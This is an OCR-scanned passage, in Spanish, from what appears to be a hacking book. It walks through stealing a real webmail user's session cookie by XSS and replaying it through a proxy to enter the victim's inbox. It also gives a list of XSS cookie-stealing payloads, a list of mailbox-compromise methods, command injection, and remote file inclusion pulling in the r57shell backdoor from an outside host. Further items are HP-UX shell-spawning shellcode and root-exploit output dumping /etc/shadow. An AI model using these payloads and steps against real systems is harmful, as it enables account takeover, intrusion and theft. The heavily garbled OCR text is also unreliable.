HTML y se lo enviamos a su casilla de www.ubbi.com.
A lo sumo, la victima pensara que es un engafio del tipo phishing, pero la cookie
nos sera enviada via e-mail al dar tan solo un click.

-

ﬁ} ||_| http:ffmail . ubbi, comvermail aspfld=18mailid=1200605599, 535535, 5751 1 .cumeill

bbi > Mail > Banieja de entrada

Redactar Bandeja de entracs Likbreta de direcciones

& Bandeija de entrada (1} Carpeta: Bandeja de entrada

iﬁ Enviados | Borrar | | Mover a la carpeta... %

3 Eliminados [vaciar]

Qﬂ Borradores

Fecha: 01 2005

Crear carpeta |

De: Ing. Jusn Perez= @omail com=
Administrar carpetas | Para: - @ubbi.coms
Ce:
= Cuentas POP Asunte: mird_Herndn, para_tu_sobrinito

Recihir cuentas POP |

Son las bases de un concurso de Ubbi sobre Harry Potter, saludos
Adminiztrar cuertas POP |

http:#fsecure. ubbi. comfregistracions

Espacio utilizado

1 ] Responder
0,06 Kb (1,13%) de los 5,00 kb
dizponibles para tu cuerta.

No es lo mismo

Hay muchos sitios que hablan de Exploits Hotmail o cosas similares, pero nada mas
alejado de estos exploits de los que hablamos aqui. Esos sitios son, simplemente, pla-

taformas de phishing que se aprovechan de la ignorancia de las personas para robar-
le sus passwords y su dinero.
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Ubbi. Aqui esta la imagen del archivo en HTML linkeado
(v editado) al URL preparado con XSS para extraerle la cookie de sesion.

Luego que la victima hace click en el link que preparamos, automaticamente se eje-
cuta el XSS en su maquina extrayendo la informaciéon de su cookie (sesion en Ub-
bi) y es redirigido hacia las bases reales del concurso de Harry Potter (en www. ub-
bi.com/sms/bases_harry.asp).

Mientras esta lee las bases del concurso, a nosotros nos llega la informacion de la
cookie a través del cliente de correo Outlook Express, -enviada por el servidor en
donde tenemos alojados los scripts PHP- de modo totalmente silencioso.

A = % 3
. 8 & “8 = X == AN B> .
20 Responder  Responder ... Reenviar Imprimir Eliminar Enviar y r... Direcciones Buscar
2ja de entrada

'8 ¥ De Asunto Recibido
(= php@phpmail, .com cookie 2 =

De: php@phpmail. .com Para: @gmail.com
Asunto: cookie

Cookie: SITESERVER=ID=4dd5f605e4al2ed3bdd0385c2f94e2e7, R=009RiQt 1K WrZKnRt,

Control=TS=in6hjO6 OTWRZB WrkiOokjWRtoePt&Logueo=iORt; Test=1, REG=TU=icRt&LO=Fa{%F 1sp9C%
D1obT5y9Ngyil3nRt&AP=rVINsft&PL=ICRi&UISQt I K WrZK o RO&GNO=2%D 1yS A3CRt&IU=wRhK WwZ%0F 1t1;
ASPSESSIONIDACCQAQCB=GLAFHPADHANK A ATGMOBCITHA; UbbiR=,
ASPSESSIONIDSQTCDQRQ=0BNIK CGCHIOEFIIBBMGKEOHO

IP Address: . .24\Time: January 2008 PM

Mail. Aqui vemos la informacién tal como llegd
a nuestro correo luego de que la victima hizo un click en el link.

Ahora veremos como utilizar esa informacion para estar dentro de su Mailbox. Pa-
ra eso, utilizaremos un proxy, en este caso Snark, para modificar la peticiéon y man-
dar la cookie enviada a Ubbi y que asi el servidor nos deje entrar como si fuéramos
el verdadero duefio de la casilla.
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{Ll‘ “_’ http:f fwww, ubbi.com/sms/bases_hatry.asp

Ubbisms

“Gana un dia en Hogwarts, el set de filmacion de la pelicula Harry Potter y la Orden del Fénix™

Bases y Condiciones

1- Primera Red Interactiva de Medios Argertinos (PRIMA) S.A. (en adelante "PRIMA" yio el "Organizador") con domicilio en la calle La Rioja 301 Ciudad
Auténoma de Buenos Aires, organiza el entretenimiento “Gana wn dia en Hogwarts, el set de filmacian de ia pelicuia Harry Potter y ia Orden dei
Fénix'(en adelante el "Ertretenimiento). El mismo se encontrard vigente desde el dia Martes 3 de Julio de 2007 y hasta el dia Jueves 19 de Julio de
2007, en la Repblica Argentina, excepto la provincia de Mendoza, sujeto al cumplimiento de las presentes Bases y Condiciones (en adelante las
"Bases"). La Participacidn en el Entretenimiento implica el integro conocimiento y aceptacion de estas Bases.

2- Podra participar del presente Ertretenimiento cualguier persona residente en la Replblica Argentina, y que &) Para Telecom Personal S.A: sea
cliente, incluidos los gue tengan planes empleados facturables; y/d b) Para Telefénica Comunicaciones Personales 5.4 siempre que la titularidad de la
linea no esté a nombre de Telefdnica Comunicaciones Personales S.4.; /6 c) Para CTI Compafiia de Teléfonos del Interior S.4. y CTIPCS S.A. sea
cliente, siempre gue sean lineas comerciales y que la factura no esté a nombre de CTI Comparia de Teléfonos del Interior S.A4. o CTIPCS S.A. yid d)
Para Compafiia de Radiocomunicaciones Mdviles S.A.; toda aguella persona, fisica o juridica, que adquiera tal calidad con relacién a CRM, de
conformidad con lo establecido en el articulo 7° del Reglamento General de Clientes del Servicio de Comunicaciones Méviles (aprobado por Resolucién
5. C.N." 490/97) v en el articulo 1.12 del Reglamento del Servicio Radioeléctrico de Concentracidn de Enlaces (aprobado por Resolucidn S. C.
1815/95). En todos los casos deberén ser mayores de 16 afios y no encontrarse en mora en el pago de las facturas correspondientes a los referidos
servicios.

Bases. La victima sin notar nada, ha sido redirigida a las bases del concurso.

Ejecutamos Snark, vamos con el browser a http://mail.ubbi.com/inbox.asp?fld=1
(esta URL la obtuvimos al estar logueados cuando abrimos una cuenta de prueba

en Ubbi) y vemos que aparece la peticion para ser editada.

v IE http:{{mail.ubbi.comfinbox. asp?fld=1 V‘ ‘7‘ X ih e Search
Fdicion Ver Favoritos Herramientas  Ayuda
() Conectando... [ I - B - = - [k Pagn

p Internet Explorer no puede mostrar la pédgina web

Causas mas probables:

Jelx @ ml

Update Content-Length | Reset

CET /registracion/Registracion_Loginl.asp?SRV=3sPD=http$3A%2F42Fnails2Eubbis2Econt 2Finboxs2Easps 3F£1d43D1 HTTP.
(& [via: 1.1 Snark

| |accept: image/gif, image/x-xbitmap, image/jpey, image/pipey, application/x-shockwave-flash, spplication/vnd.ms-
Accept-Language: es-ar

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)

fFookie: SITESERVER=ID=4ddS5f60SedalZedibdd0385c2f94e2e?; R=009RiQulKWrZKnRt; Control=TS=in6hj060iWRZEWrki0akiiRy
Host: secure.ubbi.com
Connection: Keep-Alive

Proxy. Al pasar la peticion el proxy Snark, esto nos da la posibilidad
de cambiar al vuelo los valores que llegan hasta el servidor de Ubbi.

En esa pantalla, reemplazamos los valores de cookie por los que nos llegaron por
e-mail y los enviamos al servidor de Ubbi. Asi, el session hijacking ha concluido.
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@:;i b |& http:ffmail,ubbi.com/inbo:x., asp?fld=1

Archiva  Edicidn  Wer Favoritos  Herramientas  Awuda

w o { Ewail I7|

Ubbi o (14

Ubbi > Mail » Bandeja de entrada

% Bandeia de entrada (1)
{B Enviados BWf«‘if| Bloguear remi | Mover a la carpeta... v
{3 Eiminados [Vaciar] ]! 0&4pe
Qﬂ Borradores -

Asunto

O 0 (= Registracion Ubbi Bienvenido a la comunidad de Ubbi
Crear carpeta |

112131415]161718][9]10

Administrar carpetas |

Bienvenido. Sesion dentro de la casilla de la victima sin conocer el
password, a través de Internet Explorer. Esta vulnerabilidad fue reportada
al personal de seguridad informatica de Ubbi (AGEA S.A.) en enero del 2008.
Existen empleos mucho mas complejos de XSS, tanto para lograr el XSS en el si-
tio vulnerable como para atacar a una victima desde un sitio vulnerable. Es reco-
mendable estudiar tres cosas en especial acerca de esta técnica (que muchos subes-
timan y que es de un potencial tremendo en manos de alguien con ingenio):

* El excelente libro sobre Cross Site Scripting, editado por Syngress, titulado Cross
Site Scripting Attacks XSS Exploits and Defense (2007). Entre sus redactores, se
encuentra Petko Petkov de GNUCITIZEN.

* La herramienta XSS-Proxy, que podemos encontrar en http://xss-proxy.source-
forge.net junto a algunos excelentes documentos.

* Visitar www.xssed.com, un sitio en donde podemos encontrar excelentes notas,
ejemplos y listas de sitios vulnerables.
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</ussaul >

XSS Archive | XSS Archive % | TOP Submitters | TOP Submitters % | TOP Pagerank | £) search \ |
Successful College Essays Authenticate your paper Free Video Inteqrate AD /Unix/Linux
Read college admission essays Digital security for paper Watch & Share Millions of Active Directory Based Cross
that worked. Get topics, tips,  docurnent Witness™ is videos about paper trays Platform Access and
samples. docurnent authentication Dada.net/Video Authentication,
www. Vault. com/College www. arbutusridgeonline. co.uk www.RadiantLogic camn

Paper: In-Depth Analysis of Yahoo! Authentication Schemes
Sunday, 6 January 2008
Slick from Romanian Security Team, has written a very interesting paper about the way Yahoo!

authenticates their users. Provides and in-depth analysis and explanation of Yahoo! cookies. It
also includes the PHP code of the "yahoo64" algorithm. ‘

read more... ‘

Paper: Cross-Site Request Forgery: the Sea Surf \
Saturday, 3 November 2007
This is an interesting read about CSRF attacks, covering the difference between XS5 and CSRF, Edition

attack points and possible prevention solutions. Code examples are provided. Peter Wainwright

read more...

Paper: Preventing Cross-Site Request Forgery (CSRF)

G} ‘LJ http:{fwww, xssed.comfarticleslist ;" > ‘ |G|‘

xss attacks information
Home News Articles Adv. Submit Alerts Links XSSinfo About Contact

Ads by Google

| 18866 total xss
831 fixed
420 xss onhold
178 EW subscribers

Pro Apache, Third

Best Price $25.00
or Buy New $28.99

Bu
fro amazoncont

Xssed. Sitio dedicado exclusivamente a cuestiones relacionadas con el

Cross Site Scripting. Esta es la seccion de articulos: www.xssed.com/articleslist.

XSS afecta tanto a los visitantes de sitios como a los usuarios y sus administrado-
res o agentes de la organizaciéon. No hay que subestimar el XSS. Algunos codigos

para la comprobacion de la vulnerabilidad:

alert (‘xss');//
$3Cscript%3Ealert (XSS’ ) $3C/script%3E

;alert (%$22XSS%22);://
<script>alert ('XSS" )</script>

<IMG%

<IMG
<IMG
<IMG
<IMG
<IMG
<IMG
<IMG
<IMG

<IMG%

20SRC=" javascript:alert (document.cookie)’ >
SRC="javascript:alert (‘XSS ) ;">
SRC="javascript:alert (‘XSS )”
SRC=javascript:alert (‘XSS )>
SRC=JaVaScRiPt:alert (‘XSS )>

SRC=javascript:alert (&quot;XSS&quot;)>
SRC="javascript:alert (“ ‘XSS5 ") ">

W5 <SCRIPT>alert ("XSS”)</SCRIPT>">
SRC=javascript:alert (String.fromCharCode (88,83,83))>
20SRC=" javasc ript:alert (document.cookie)’ >
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<IMG SRC="jav ascript:alert (‘XSS ) ;">

“><script>”

<script>alert (“XSS”)</script>

<<script>alert (“XSS”);//<</script>

<script>alert (document.cookie)</script>

‘><script>alert (document.cookie)</script>

‘“><script>alert (document.cookie) ;</script>

\"”;alert (‘XSS );//

$22;alert (%$22XSS%22);//

$3cscript%3ealert ("XSS”) ;%3c/script%3e

%$3cscript$3ealert (document.cookie) ;%3c%2fscript%3e

$3Cscript%3Ealert ($22X%20SS%22) ; $3C/script%3E

§ltscriptégtalert (document.cookie) ;</script>

&ltscriptégtalert (document.cookie) ;&ltscriptégtalert

<xss><script>alert ('XSS" )</script></vulnerable>

<IMG SRC="jav&#x09;ascript:alert (‘XSS );”>

<IMG SRC="javé&#x0A;ascript:alert ('XSS") ;">

<IMG SRC="jav&#x0D;ascript:alert (‘XSS ) ;">

<IMG SRC=" &#14; javascript:alert (‘XSS );”>

<IMG DYNSRC="javascript:alert (‘XSS )"”>

<IMG LOWSRC="javascript:alert (‘XSS")”>

<IMG

SRC=&#106; &#97; &#118; &#97; &#115; &#99; &#114; &#105; &#112;&#116; &#58; &#97;
&#108; 6#101; 6#114;6#116; 6440; &#39; &#88; &#83; &#83; &#39; &#41;>

Si queremos ver mas ejemplos, podemos visitar la pagina de RSnake, en la siguiente
direccion http:/ /ha.ckers.org/xss.html.

15 maneras de comprometer una casilla de correo

Ademas del XSS, existen algunos otros métodos (entre simples y avanzados) para
comprometer una casilla de correo electronico.

Consejo para usuarios de Internet

Conviene utilizar el browser Firefox con el complemento noScript (http://noscript.net) para no
sufrir los XSS. No hace falta hacer clic en un link o boton para ser victima de Cross Site Scrip-
ting, podemos serlo simplemente entrando en un sitio, al visualizar un e-mail o un mensaje de
foro y de modo totalmente transparente sin aviso y sin notarlo.
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* Probar passwords comunes, l6gicos y los conocidos en versiones evolucionadas.

e Probar passwords que el usuario utiliza en otros lados.

e Apelar al vulnerable factor humano (ingenierfa social).

* Grabar las pulsaciones del teclado mediante un keylogger de software o de hardware.

* Sacar claves almacenadas en un proveedor de Internet (ISP).

e Sacar claves en transito entre el servidor y la terminal (sniffing).

* Por retrieve: enviarla a otro e-mail al que si tenemos acceso.

* Por explotacién de una vulnerabilidad mediante exploits en la maquina del usua-
rio o mediante shares (carpeta o disco compartido).

* Por sustraccion de claves en aplicaciones y servidores de terceros.

* Por fuerza bruta.

* Entrar via log de HTTP_REFERER (variable predefinida de PHP, www.phpfreaks-
.com/PHP_Reference/Predefined-Variables/8.php) directo a la casilla sin clave.

* Asalto fisico a la maquina de la victima via USB u otro puerto o unidad.

* Evasion de pregunta secreta u otro dato a través de SQL Injection.

* Métodos avanzados o complejos como Eavesdropping (ver el contenido de un
monitor por emisioén de radiacion).

* Métodos de campo como Trashing (revisar la basura), shoulder surfing (mirar cuando
un usuario teclea), filmacién del teclado, mirar si no lo tiene anotado en un papel en el
escritorio, debajo del teclado, en el CPU o con un Post-It pegado en el monitor.

Ejecucion remota de comandos e inclusion de archivos

La programacion PHP en los sitios juega un rol muy importante. Los archivos in-
cluidos en un sitio programado de modo inseguro permitiran, entre otras cosas:

* Ejecutar comandos de sistema dentro del servidor.
* Subir archivos (scripts de ejecucion/exploracion) al servidor, técnica conocida
como Remote file inclusion.

En el primer caso, se aprovecha el script mal programado en PHP para que, lue-
go de que éste cumpla la funcién que en un inicio el programador ided, seguida-
mente ejecute un comando de sistema. ¢Cémo lograr esto? Simplemente, buscar
la concatenacion de las acciones agregando un punto y coma antes del comando en
un campo de datos (en este caso) por procesar. Por ejemplo: www.sitiovulnerable-
.com/ping.php?=valor-real;comando-linux. El punto y coma en Linux es usado
para separar comandos por ejecutar en una secuencia: comandol;comando2;coman-

do3.
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En el segundo ejemplo, para remote file include, en lugar de colocar un co-
mando en el URL se introduce una direccion web con el archivo descargable o

GOOGLE ADWORDS

& What iz Acvwords?

SEO TOOLS
< Google Pagerank

< Google Future Pagerank

With this pirg tool you can check if a paticular host is reachable. The sing
cammand is sending an ICMP "echo request’ packet to the target host and
listen for an ICMP "echa response” replhy.

Erter domain or [P address:

+ Search Engine Spider Sim ils -al
< Keyword Density Analyser X
Ping Attemps: -3 b
+ Keyword Selector Tool
HTML TOOLS
< Arti Spam
+ Meta Tag Spider €3 hitp:/haww. L.com, - Ping Results - Mo...
P g
+ Meta Tag Generator 1 total 716
NETWORK TOOLS drwxr-xr-x 24 vandewallemn webusers 4096 Oct 31 12:55
P d--xr-x--x 16 www-data  webusers 4096 Jan 22 10:26 .,
* Domain Search -rw-r--r-- 1 root raot 102 Mov 3 22:42 htaccess
= Wyhat is My IP -rw-r--r-- 1 vandewallern webusers 492 Jan 31 2006 3awhois.lo
_ drwxr-xr-x 8 vandewallem webusers 4096 Mar 21 2007 BC
@ Ping Tool -rw-r--r-- 1 vandewallern webusers 3293 Sep 5 2006 _footer.ph
. ] -rw-r--r-- 1 vandewallern webusers 253 Feb 21 2006 _footerZ.pH
Lid b oAl -rw-r--r-- 1 vandewallern webusers 6253 Aug 24 2006 _header.p
+ HTML Tips -rw-r--r-- 1 vandewallern webusers 260 Dec 23 2005 aangemeld
) -rw-r--r-- 1 vandewallern webusers 100 Dec 26 2005 activate.pH
« PHP Scripts . -rw-r--r-- 1 vandewallern webusers 104 Dec 28 2005 activatepw|
h 1 m L . " 4
e §

Comando. Aqui, en el campo de datos de un script que hace pings a hosts
remotos, se introdujo el comando listar ;ls —al en lugar de una direccién IP.
Como resultado, obtenemos una lista detallada de los archivos que
se encuentran en el mismo directorio que el script que realiza pings.

ejecutable en el host victima.
El archivo puede bajarse o bien, bajarse y acto seguido ejecutarse.

Por ejemplo: www.sitiovulnerable.com/mostrar.asp?file=www. sitiomalig-

no.com/archivomaligno.txt.
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J} L] http:f s, .comfindex.php?page=http:{fwww.rS7.lifr57.txt?&id=1 v| B [C"

mn(va/tJm ) _jauel}zrs ) contal

04-02-2008 19:10:33 [ phpinfo ] [ phpaini ] [cpu] [mem ] [users ] [ tmp ] [ delete ]
safe_mode: OFF PHP version: 4.4.4 cURL: ON MySQL: ON MSSQL: OFF PostgreSQL:

” r57shell 1.1 OFF Oracle: OFF

Disable functions : exec,passthru,proc_open,proc_close,shell_exec,system
Free space : 102.55 GB Total space: 144.38 GB
Linux dps.depixelfabriek.nl 2.6.20-1.2948.fc6 #1 SMP Fri Apr 27 19:18:54 EDT 2007 x86_64x86_64
uname -a : & = =
x86_64 GNU/Linux
sysctl : <70 ’
$0STYPE :
Server:
id:

linux-gnu

Apache /2.2.4 (Unix) mod_ssl/2.2.4 OpenSSL/0.9.8b mod_per /2.0.3 Per /v5.8.8
d=533(carbon) gid=534(carbon) groups=534(carbon)

me /carbon/domains /carbonjewels.com /public_html _(drwxr-xr-x)

pwd :

Executed command: Is -lia

total 68

3178550 drwxr-xr-x 9 carbon carbon 4096 Feb 2 07:05 .

3178549 drwx--x--x 8 carbon carbon 4096 Feb 4 2007 ..
3181245 -rwxr-xr-x 1 carbon carbon 3343 Apr 11 2007 .htaccess
3178498 drwxr-xr-x 2 carbon carbon 4096 Feb 2 07:05 awstats
3178602 -—rw-r—-r-- 1 carbon carbon 49 Apr S 007 blank.gif

ShellPHP. En el URL se reemplaza parte de la direccién para agregar el backdoor R57Shell
1.31 (www.r57.li/r57.txt?) y asi ejecutar la interfaz grafica de comandos en el servidor.

El programador y el administrador del servidor deberan tomar las precauciones ne-
cesarias en el disefio de la aplicacién o de los scripts para luego testearlos y asi des-
pejar dudas. Un buen recurso para empezar a hacerlo es estudiar la gufa de seguri-
dad PHP (http://phpsec.org/projects/guide).

Programacion insegura: exploits

Los exploits son, en su mayoria, pequefios programas artesanales (algunos extrema-
damente complejos) que, al ser ejecutados y si son funcionales, se aprovechan de
un bug (descuido de programacion) en el objetivo. El nombre proviene de to ex-
ploit o explotar, que significa aprovecharse de la vulnerabilidad.

Pueden estar creados especificamente para demostrar una falla (POC, Proof Of
Concept, prucba de concepto) en determinada aplicacion o parte del sistema ope-

Exploits y advisories

Aqui estan los sitios de algunas de las personas y grupos que escribieron (e hicieron publicos)
interesantes exploits o advisories (avisos de seguridad que permiten escribir exploits por su
fuente de datos técnicos del bug): TESO (http://packetstorm.linuxsecurity.com/groups/teso/),
NSFocus (www.nsfocus.com/en/) y Solar Eclipse (www.phreedom.org/solar/exploits/).
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rativo (servicio, binario o kernel) en una auditoria de codigo o research ligado a se-
guridad (testear si un sistema esta asegurado correctamente), o bien para cometer
un acto no autorizado en un sistema, una intrusién (obtencion de una shell remo-
ta sin autorizacion), elevacion de privilegios (obtener permisos de root o system),
denegacion de servicios o destruccion de informacion.

El objetivo propio o ajeno de testearse con el exploit esta en la decisién de quien
lo manipula, ya que por si solo no es un programa maligno. Si cae en manos de un
script kiddie, dejarfa de tener propositos educativos ya que éste no va probar deter-
minada falla en una investigacion seria.

Mirror. Antiguo repositorio de exploits libres al piblico. Se encontraba
en la direccion http://hack.co.za y hoy puede verse en uno de los pocos
mirrors que quedaron: http://darknet.hacklib.com/lynx.html.

Exploits locales y remotos

Los exploits locales se ejecutan dentro de una shell para aprovecharse de algo que
esta dentro de ese contexto o sistema operativo, y los remotos (si bien también se
ejecutan en una shell y es posible hacerlo contra la misma shell), el objetivo en la
mayoria de los casos estard en otro host o direccion IP, ya sea a través de Inter-
net o de una red local e interna.
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Aunque comunmente los encontraremos escritos en C y assembly, los exploits pue-
den estar programados en varios lenguajes, ya que hay en Perl, Python, C++, en-
tre otros. Estos, a su vez, pueden encontrarse compilados o no, como también dis-
ponibles para las mas diversas arquitecturas.

Para ver algunos ejemplos, podemos visitar sitios como www.milw0rm.com o
www.packetstormsecurity.org. Los mas complejos y los que usualmente se uti-
lizan, son aquellos que se aprovechan de una condicién denominada desborda-
miento de buffer (buffer overflow). ;Qué es estor La mejor definicién se encuen-
tra en el diccionario Jargon (www.jargon.net/jargonfile/s/smashthestack.html) y
dice “smash the stack (bajo programacién C).

En algunas implementaciones de C es posible corromper la pila de ejecucion (exe-
cution stack) escribiendo mas alla del fin de una cadena declarada auto en una ru-
tina. El cddigo que hace esto posible se dice que desborda la pila (smash the stack)
y puede causar el retorno de la rutina y el salto a una direccion casual. Esto puede
producir algunos de los mas malignos bugs conocidos hasta ahora. Existen ciertas
variantes (de traduccion literal dudosa) que reciben los siguientes nombres en in-
glés: trash the stack, scribble the stack, mangle the stack. También se suele usar pa-
ra describir smash the stack: alias bug, fandango on core, memory leak, preceden-
ce lossage, overrun screw.” Podemos encontrar esto en el excelente texto de Aleph
One publicado en la phrack N.° 49 y traducido por Honoriak al espafiol en
julianot.tripod.com/bc/smashing/P49-4-Smashing_the_stack-Spanish.txt.

En pocas palabras, una vez que el exploit logra desbordar el buffer, inyecta los co-
mandos declarados en el shellcode (programado generalmente en assembly, pero
escrito en formato hexadecimal). Un comando que se ejecutara para aprovecharse
de esa condicion BOF (Buffer Overflow) y lograr asi el proposito.

Este serfa s6lo el shellcode para ejecutar una shell en la plataforma HP-UX.

/%
*  Hp-Ux

*

* execve() of /bin/sh by K2
*/

u _char shellcode[] =
M xe8\ x3f\ x1£\ xfd\ x08\ x21\ x02\ x80\ x34\ x02\ x01\ x02\ x08\ x41\ x04\ x02\ x60\ 40"
M x01\ x62\ xb4\ x5a\ x01\ x54\ x0b\ x39\ x02\ x99\ x0b\ x18\ x02\ 98\ x34\ x16\ x04\ xbe”
"\ %20\ x20\ 208\ x01\ xe4\ 220\ xe0\ 08\ 96\ xd6\ 05\ x34\ xde\ xad\ xca\ xfe
/bin/sh\xff”;

Para mas detalles técnicos, podemos visitar http://goodfellas.shellcode
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.com.ar/docz/bof/bof-forkidz-es.txt o el tutorial de shellcoding que encontramos
en www.vividmachines.com/shellcode/shellcode.html

Eiste es un simple ejemplo (output) de ejecucion para exploit local (explota un bug
del kernel del Linux en el que estamos) para elevar privilegios, luego de ser escrito
en la shell mediante el editor vi:

A continuacién, vemos el ejemplo de un exploit remoto que, al ser ejecutado
con la direccién IP del objetivo, nos da en ¢l una shell directamente con privi-
legios de root a través del servicio Samba.




Linux 1t100 2.4.20-ac2 #1 Sun Mar 5 04:20:06 MST 2006 1686 unknown
uid=0 (root) gid=0(root) groups=135432365, 98 (nobody)
su root

cat /etc/issue
Welcome to \s \r (\1)

cat /etc/shadow
root:$1SE101X6RbSc/6WyBkNQgmvQ3hecBe5/D/:12111:0::: ¢
bin:*:9797:0:::::

daemon:*:9797:0:::::

shutdown:*:9797:0:::::

halt:*:9797:0:::::

smmsp:*:9797:0:::::

—8<

A continuacién, veamos algunas palabras utilizadas a modo de lunfardo o slang
relacionadas con los exploits.

* Conseguir uid0: Es por uid (user ID) 0 (cero). Es referente al usuario root,
conseguir privilegios de root.

* Espaunear una shell (to spawn a shell): Disparar una shell, bindear. Hacer
que una shell sea habilitada (enviada) por la victima al atacante, pudiendo éste
contar con una sesion interactiva mediante comandos.

* Rootear, rutear, enrutear: Conseguir privilegios de root.

* Owned, pOwned, owned, pwned: Aduefiado, que le invadieron la maquina, pa-
gina web o server a la victima. Es una forma cinica de decir que alguien fue com-
prometido (en parte de su escenario o privacidad) mediante técnicas de hacking.

* Priv8 (keep in priv8): priv es private (privado), 8 es eigth. Asi, priveigth suena
como private en inglés. Se utiliza para anunciar que se mantenga en privado el
exploit y no se haga publico.

* 0day o Zero Day: Exploit privado, no publico.

 Exploit in the wild: Exploit reciente que se estd usando para cometer intrusiones al
azar o masivas sobre servicios y que existe un advisory de la falla que explota.
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Aqui podemos encontrar muchos exploits locales y
variadas plataformas y aplicaciones, publicados por
Contaremos también con un sistema de desciframiento
hasheadas en algoritmo MD5, videos de técnicas de intrusion y articulos

interesantes acerca de sequridad.
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6 > Inyeccion
de codigo
SQL

En este capitulo veremos las caracteristicas vy
el alcance que tiene un descuido importante en
los activos por la deficiente implementacidn

de seguridad informédtica, tanto en el cdédigo
como en la administracidén de un contexto donde
se lleva a cabo la gestidén de informacidn con
base de datos relacionales.

Detalles, ejemplos y casos de SQL Injection, su
impacto, componentes involucrados y su

incidencia en el escenario de la organizacidn.



INTRODUCCION

El descuido que permite inyectar codigo SQL (Structured Query Ianguage) va a perdu-
rar tanto —por lo humano- y es tan interesante, que se merece un capitulo aparte.

En la actualidad, un gran namero de sitios y aplicaciones web interactian con ba-
ses de datos ya que, a través de éstos, se maneja informacién de diferentes nive-
les de criticidad, que deben ser almacenados, consultados o modificados, es de-
cir, gestionados de algin modo. Esta informacién —sensible o no-, es accedida a
través de sentencias SQL, embebidas desde el mismo cédigo fuente de la pagina

o scripts incluidos.

<@ -

- \4.-'—‘ Q aC http: v, aulaclic. esfsqlif _sgl.htm

indice detallado

@ Unidad 1. Introduccion

,Qué es el SQL?

Caracteristicas del lenguaje

Cémo interpretar un diagrama sintactico

Coémo se crea una sentencia SQL en Access2000
Tablas en las que se basan los ejemplos vy ejercicios
Conceptos basicos de bases de datos relacionales

@ Unidad 2. Las consultas simples

Objetivo

Sintaxis de la SELECT (para consultas simples)
La tabla origen (clausula FROM)

Seleccidn de columnas

— Ip) [Cfeees= |

@ Unidad 5. Las subconsultas
Definiciones
Referencias externas
Anidar subconsultas
Subconsulta en la lista de seleccion
En la clausula FROM
Subconsulta en las clausulas WHERE y HAVING
Condiciones de seleccion con subconsultas
Resumen del tema

@ Unidad 6. Actualizacion de datos

Introducccién
Insertar una fila INSERT INTO.. VALUES

Insertar varias fila INSERT INTO.. SELECT
Insertar filas en una tabla nueva SELECT..INTO

Ordenacion de las filas (ORDER BY)
Seleccidn de filas

Curso. En la direccion www.aulaclic.es/sql/f_sql.htm,
encontramos un curso basico y gratuito acerca de SQL.

La interacciéon ocurre mas o menos de este modo:

¢ El usuario introduce datos en un formulario o hace clic en un link del tipo
http://sitioweb/producto.asp?id=25.

* El sitio web podtia estar programado en .asp o .php (entre otros lenguajes) y a su
vez contendra, en su cédigo fuente, strings SQL (sentencias).

* Estas, junto con los datos suministrados por el visitante, iran directamente a la base

Otras clases de evasién

En www.f5.com/pdf/white-papers/sql-injection-detection-wp.pdf, hay un excelente
texto que explica las técnicas de evasion aplicadas al SQL Injection, como pueden ser
el uso de codificacion HEX, UNICODE, BASEé64, Decimal, como también manipulacion
de espacios en blanco, comentarios del tipo codigo fuente C, concatenacion, etcétera.
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de datos para lograr un resultado a partir de lo que ide6 e interpreto el programador
o analista: consulta, almacenamiento, modificacion, borrado, ejecucion, etcétera.
* El resultado puede mostrarse al usuario o no, o bien puede dar un error de siste-

ma.
Ty - ]
- v @] ﬁ_“ ‘ . http:/idev.mysql.comjdownloads/mysql/S.0.html "‘ b] [gvl 0gl |
™,
M':]SQL The world's most popular open source database Login | Re

MySQL.com Developer Zone Partners & Solutions Customer Login

DevZone + + Documentation + Articles * Forums + Bugs * Forge Search

MySQL Community Server MySQL 5.0 Downloads

6.0

For users or organizations looking to maintain their own For busil public sector institutions and users looking for
solutions. the
I have: highest reliability in software and services. I desire:

My own method of keeping my systems up to date e . .
. o Automated notifications and predictable releases
and am comfortable upgrading and configuring

of well-tested updates and upgrades.

MySQL.
Time to monitor and adjust the MySQL settings Proactive, visual notification and advice on
that will tune, scale and maintain performance. maintaining optimal performance.

Continuous monitoring of systems so that I can
be alerted to unplanned security changes and
vulnerabilities.

Experience with database security so that I know
when a security breach has occurred.

Experience designing, setting-up and monitoring Replication status monitoring so that I can

the status of MySQL replication. improve replication design and performance.
Time to identify and resolve technical issues for Fast resolution and committed response times to
myself and others., avoid loss of revenue or critical application access.

Mysql. En http://dev.mysgl.com/downloads/mysql/5.0.html,
esta disponible el servidor MySQL para practicar como crear databases
y manipular su contenido sobre diversas plataformas.

El programador web medio, o quien fuera el desarrollador de ese script, en prin-
cipio busca funcionalidad en la aplicacion, es decir, que obtenga simplemente el
resultado esperado o la accion. Luego intentara obtener un mejor disefio visual,
que luzca bien ante los ojos del usuario. Recién por ultimo se preocupara por la
seguridad y cémo aplicarla de modo correcto. Es alli cuando nace el descuido, ya
que generalmente implementa sélo algunas comprobaciones en los campos (algo
muy normal que ensefian en los cursos de programacion).

Otras clases de inyeccidn

Las hay del tipo ORM, LDAP, XML (hacking SOAP), SSI, XPATH, e IMAP/SMTP. Podemos ob-
tener mas informacion en los siguientes sitios: www.owasp.org/index.php/Testing_for_OR-
M_lInjection, www.owasp.org/index.php/Testing_for_LDAP_Injection, www.owasp.org/in-
dex.php/Testing_for_XML_Injection y www.owasp.org/index.php/Testing_for_SSI_Injection.
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Afiliados :

Reportes y

Id de suario

Sélo ntirneras o letras, Minirme 4 caractares,

Contrasefia

Ilinimo & caractanes, La contrasefis g case sensitiva, |

Olvidé i contrasefia

Texifield. Los campos de datos son aquellos espacios
en los que escribimos la informacion que va a procesar el servidor
(usuario, password y, a veces, otro tipo de datos personales o relativos al sitio).

Estos campos suelen estar bajo determinadas reglas de filtrado desde la misma
pagina: caracteres especiales, minimos y maximos en cantidad de letras o nume-
ros. Estas reglas pueden ser eludidas facilmente mediante la manipulaciéon de los
datos en transito (a través de un proxy camino al servidor).

La ptimera ley del desarrollador web en cuanto seguridad es jamds confiar en que todos
los usuarios o visitantes introducirdn los datos correctos o esperados dentro de un formula-
rio online; 1a segunda regla es no creer que todos los visitantes vayan a respetar la sintaxis

de la URL de consulta sin modificarla al realizar el query (peticion htep).
Ejemplo de bypass de acceso

Veamos un ejemplo de la técnica aplicada a un login de autentificacién o acceso.

Dentro del archivo .asp de este acceso a clientes que veremos a continuacion, se
encontrara la sentencia SQL o rutina de validacion para el acceso hacia una intra-
net. Esta accién proveniente de la orden o sentencia verificara que usuario, pass-

Variantes de sintaxis

